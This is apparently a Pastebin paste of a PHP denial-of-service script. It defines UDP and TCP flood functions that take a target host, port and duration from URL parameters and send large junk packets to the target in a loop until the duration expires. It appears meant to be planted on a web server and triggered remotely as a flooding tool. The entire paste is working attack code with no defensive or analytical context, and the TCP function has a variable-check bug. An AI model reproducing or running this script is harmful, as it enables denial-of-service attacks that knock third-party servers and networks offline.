Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function udpFlood() {
- //UDP ?host=IP&time=60
- $host=$_GET['host'];
- $time=$_GET['time'];
- if(isset($host)&&isset($time)){
- $packets = 0;
- ignore_user_abort(TRUE);
- set_time_limit(0);
- $exec_time = $_GET['time'];
- $time = time();
- //print "Started: ".time('d-m-y h:i:s')."<br>";
- $max_time = $time+$exec_time;
- $host = $_GET['host'];
- for($i=0;$i<65000;$i++){
- $out .= 'X';
- }
- while(1){
- $packets++;
- if(time() > $max_time){
- break;
- exit();
- }
- $rand = rand(1,65000);
- $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
- if($fp){
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- }
- }
- function tcpFlood() {
- //TCP ?host=IP&port=80&time=60
- $host=$_GET['host'];
- $port=$_GET['port'];
- $exec_time=$_GET['time'];
- if(isset($host)&&isset($time)){
- $packets = 0;
- ignore_user_abort(FALSE);
- set_time_limit(0);
- $time = time();
- $max_time = $time+$exec_time;
- for($i=0;$i<65000;$i++){
- $out .= 'X';
- }
- while(1){
- $packets++;
- if(time() > $max_time){
- break;
- exit();
- }
- $fp = fsockopen('tcp://'.$host, $port, $errno, $errstr, 5);
- if($fp){
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- }
- }
- if(isset($_GET['meth'])) {
- if ($_GET['meth'] == 'TCP') {
- tcpFlood();
- }elseif ($_GET['meth'] == 'UDP') {
- udpFlood();
- }else{
- exit();
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement